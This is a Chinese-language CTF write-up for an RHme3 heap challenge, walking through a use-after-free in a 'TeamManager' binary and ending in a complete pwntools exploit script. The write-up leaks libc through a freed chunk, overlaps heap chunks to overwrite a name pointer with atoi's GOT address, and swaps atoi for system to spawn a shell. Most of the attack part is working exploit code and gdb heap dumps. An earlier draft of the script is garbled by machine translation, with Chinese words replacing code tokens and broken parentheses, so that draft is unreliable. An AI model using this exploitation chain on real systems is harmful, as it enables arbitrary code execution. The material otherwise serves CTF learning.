uaf实例

RHme3 CTF 的一道题

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
RELRO           STACK CANARY      NX            PIE         
Partial RELRO Canary found NX enabled No PIE

堆的题目基本都是选择菜单,这里可以添加,删除,选择,编辑,展示球员,还可以显示队伍,

Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

Your choice: 1
Found free slot: 0
Enter player name: 1
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1
上面就是球员这个结构有什么信息,第一个free slot就相当于球员的id,这个不用我们输入

remove就删除咯

Your choice: 2
Enter index: 0
She's gone!

select会输出球员的信息

Your choice: 3
Enter index: 0
Player selected!
Name: 1
A/D/S/P: 1,1,1,1
edit当前的palyer,基于上面的select

Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice:
show palyer,这个显示的是select的player

Your choice: 5
Name: 2
A/D/S/P: 1,1,1,1
show team会将所有球员信息打印出来

Your choice: 6
Your team:
Player 0
Name: 2
A/D/S/P: 1,1,1,1
Player 1
Name: 3
A/D/S/P: 3,3,3,3
经过对add_player的逆向,可以推出palyer的结构

struct palyer{
int attackPoint;
int defensePoints;
int speed;
int precision;
char* name;
}


unsigned __int64 delete_player()
{
void **ptr; // ST08_8
unsigned int v2; // [rsp+4h] [rbp-1Ch]
char nptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Enter index: ");
fflush(stdout);
readline(&nptr, 4LL);
v2 = atoi(&nptr);
if ( v2 <= 0xA && players[v2] )
{
ptr = (void **)players[v2];
players[v2] = 0LL;
free(ptr[2]);
free(ptr);
puts("She's gone!");
fflush(stdout);
}
else
{
puts("Invalid index");
fflush(stdout);
}
return __readfsqword(0x28u) ^ v4;
}

uaf漏洞点

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
def  alloc(name,attack  =  1, 
defense = 2,speed = 3,precision = 4):

p.recvuntil(' choice:'
p.sendline(' 1 '

p.recvuntil(' name:'
p.sendline(名称)

p.recvuntil(' points:'
p.sendline(str(attack))

p.recvuntil(' points:'
p.sendline(str(辩护))

p.recvuntil(' speed:'
p.sendline(str(speed))

p.recvuntil(' precision:'
p.sendline(str(precision))

返回

def pwn():

alloc(' A ' * 0x 60)
查看栈的情况
(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000020f71

alloc(' B ' * 0x 60)

(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000020ee1

alloc(' C ' * 0x 80)
alloc(' D ' * 0x 80)

(gdb) x/90gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2
0x604130: 0x0000000200000001 0x0000000400000003
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x4343434343434343 0x4343434343434343
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x0000000000000000 0x0000000000000021 <-- player 3
0x6041e0: 0x0000000200000001 0x0000000400000003
0x6041f0: 0x0000000000604200 0x0000000000000091
0x604200: 0x4444444444444444 0x4444444444444444
0x604210: 0x4444444444444444 0x4444444444444444
0x604220: 0x4444444444444444 0x4444444444444444
0x604230: 0x4444444444444444 0x4444444444444444
0x604240: 0x4444444444444444 0x4444444444444444
0x604250: 0x4444444444444444 0x4444444444444444
0x604260: 0x4444444444444444 0x4444444444444444
0x604270: 0x4444444444444444 0x4444444444444444
0x604280: 0x0000000000000000 0x0000000000020d81

select(2)
free(2)

(gdb) x/80gx 0x604000
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 [in use]
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [in use]
0x6040a0: 0x0000000200000001 0x0000000400000003
0x6040b0: 0x00000000006040c0 0x0000000000000071
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x0000000000000000 0x0000000000000021 <-- player 2 [free]
0x604130: 0x0000000000000000 0x0000000400000003
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343


然后 libc的泄露

# 'selected'数组包含第3个玩家对象
#我们滥用UAF vuln泄漏libc
# show_player只检查'selected'数组是否为空
#如果不是,它将打印玩家对象的值
#而不检查如果它实际上是免费的

show()

p.recvuntil('Name: ')

leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c17b8
system = libc + 0x46590

log.info("Leak: 0x{:x}".format(leak))
log.info("Libc: 0x{:x}".format(libc))
log.info("system: 0x{:x}".format(system))

[*] Leak: 0x7ffff7dd37b8
[*] Libc: 0x7ffff7a12000
[*] system: 0x7ffff7a58590

接下来就要获得任意代码执行

free(3) ## free掉top chunk前一个

0x604120: 0x0000000000000000 0x00000000000000b1 <-- player 2 [free]
0x604130: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604140: 0x0000000000604150 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x00000000000000b0 0x0000000000000020 <-- player 3 [free]
0x6041e0: 0x0000000000000000 0x0000000400000003
0x6041f0: 0x0000000000604200 0x0000000000020e11 <-- top chunk

Malloc不喜欢碎片,所以它做的是整合任何相邻的空闲块,根据它们的合并大小更新这些块的大小值,
最后将顶块的大小值更新为更高的块,因为块是free的,并且意味着要分配更多的可用空间。

(0x20) fastbin[0]: 0x6041d0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6041f0 (size : 0x20e10)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x604120 (size : 0xb0)

这个地方不是很懂,感觉就是扩大了top chunk的size,可是有什么用

现在考虑以下内容。下次分配会发生什么?

请记住,每个player对象的默认大小为0x20,指针指向任意大小的块,具体取决于输入的长度。

当我们分配一个新块时,malloc将根据大小请求检查相应的bin列表,并检查是否有相同大小的等效空闲块以回馈给用户。这就是所谓的首次适应行为。请记住,快速列表中的删除和添加发生在列表的HEAD中。换句话说,我们应该期待玩家的信息被存储,0x6041d0因为它是一个free的fastbin大小并满足0x20要求。

未分类的bin保存地址0x604120。这是玩家2的大块地址。这与free(3)之前的地址不同。那是因为malloc整合了相邻的空闲块,并且它们变成了一个完整的空闲块,因此它必须更新地址。与邻接检查对应的代码如下:

/ *向后巩固* /
if(!prev_inuse(p)){
prevsize = p-> prev_size ;
size + = prevsize;
p = chunk_at_offset(p, - ((long)prevsize));
unlink(av,p,bck,fwd);
}

前面free了player2,3的地址,然后被malloc整合成一个大的chunk

无论我们输入的名称大小(只要它不大于当前未分类的bin列表中的块,0xb0在我们的例子中),我们应该返回地址0x604120以存储名称。如果大小小于0xb0,那么给定的块将被分割,因为没有必要回馈超过我们要求的数量,对吧?

但是,0x604120是player2的大块地址!这意味着,我们可以使用的名称有效载荷覆盖其数据并混淆其结构。请记住,player2仍然在选定的变量中,因此我们仍然可以打印其内容,编辑它等。如果我们能够使用我们选择的指针(GOT条目)覆盖指向原始名称的指针并调用edit它的功能呢?我们可以重定向代码执行。这是一个abritrary写原语!

# Overwrite 3rd player's (index 2) name pointer with atoi
# in order to edit it with system's address
alloc('Z'*8 * 2 + p64(atoi_got))

edit(p64(system))

我选择覆盖的函数的GOT条目是atoi。这背后的原因是atoi接收指向我们输入的指针,
以便将其转换回整数。如果atoi是system有关系吗?如果我们提供sh它应该是什么的论据,会发生什么

0x604120: 0x0000000000000000 0x0000000000000021 <-- new player's name [old player 2]
0x604130: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x604140: 0x0000000000603110 0x0000000000000091
0x604150: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
0x604160: 0x4343434343434343 0x4343434343434343
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x0000000000000090 0x0000000000000020 <-- new allocated player
0x6041e0: 0x0000000200000001 0x0000000400000003
0x6041f0: 0x0000000000604130

player2的地址已经被atoi的got表所覆盖
一旦我们请求编辑其名称,我们将覆盖atoi's带system's地址的条目。getshell!

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

atoi_got = 0x603110

def alloc(name, attack = 1,
defense = 2, speed = 3, precision = 4):

p.recvuntil('choice: ')
p.sendline('1')

p.recvuntil('name: ')
p.sendline(name)

p.recvuntil('points: ')
p.sendline(str(attack))

p.recvuntil('points: ')
p.sendline(str(defense))

p.recvuntil('speed: ')
p.sendline(str(speed))

p.recvuntil('precision: ')
p.sendline(str(precision))

return

def edit(name):

p.recvuntil('choice: ')
p.sendline('4')

p.recvuntil('choice: ')
p.sendline('1')

p.recvuntil('name: ')
p.sendline(name)

p.recvuntil('choice: ')
p.sendline('sh')

return

def select(idx):

p.recvuntil('choice: ')
p.sendline('3')

p.recvuntil('index: ')
p.sendline(str(idx))

return

def free(idx):

p.recvuntil('choice: ')
p.sendline('2')

p.recvuntil('index: ')
p.sendline(str(idx))

return

def show():

p.recvuntil('choice: ')
p.sendline('5')

return

def pwn():

alloc('A'*0x60)
alloc('B'*0x60)
alloc('C'*0x80)
alloc('D'*0x80)

select(2)

free(2)

# The 'selected' array contains the 3rd player object
# We are abusing the UAF vuln to leak libc
# show_player just checks if the 'selected' array is empty
# if it's not, it will print the value of the player's object
# without checking if it's actually free'd or not
show()

p.recvuntil('Name: ')

leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c17b8
system = libc + 0x46590

log.info("Leak: 0x{:x}".format(leak))
log.info("Libc: 0x{:x}".format(libc))
log.info("system: 0x{:x}".format(system))

log.info("Overwriting atoi with system")

# Consolidate with top chunk
free(3)

# Overwrite 3rd player's (index 2) name pointer with atoi
# in order to edit it with system's address
alloc('Z'*8 * 2 + p64(atoi_got))

edit(p64(system))

p.interactive()

if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
pwn()
else:
p = process('./main.elf')
pause()
pwn()
0%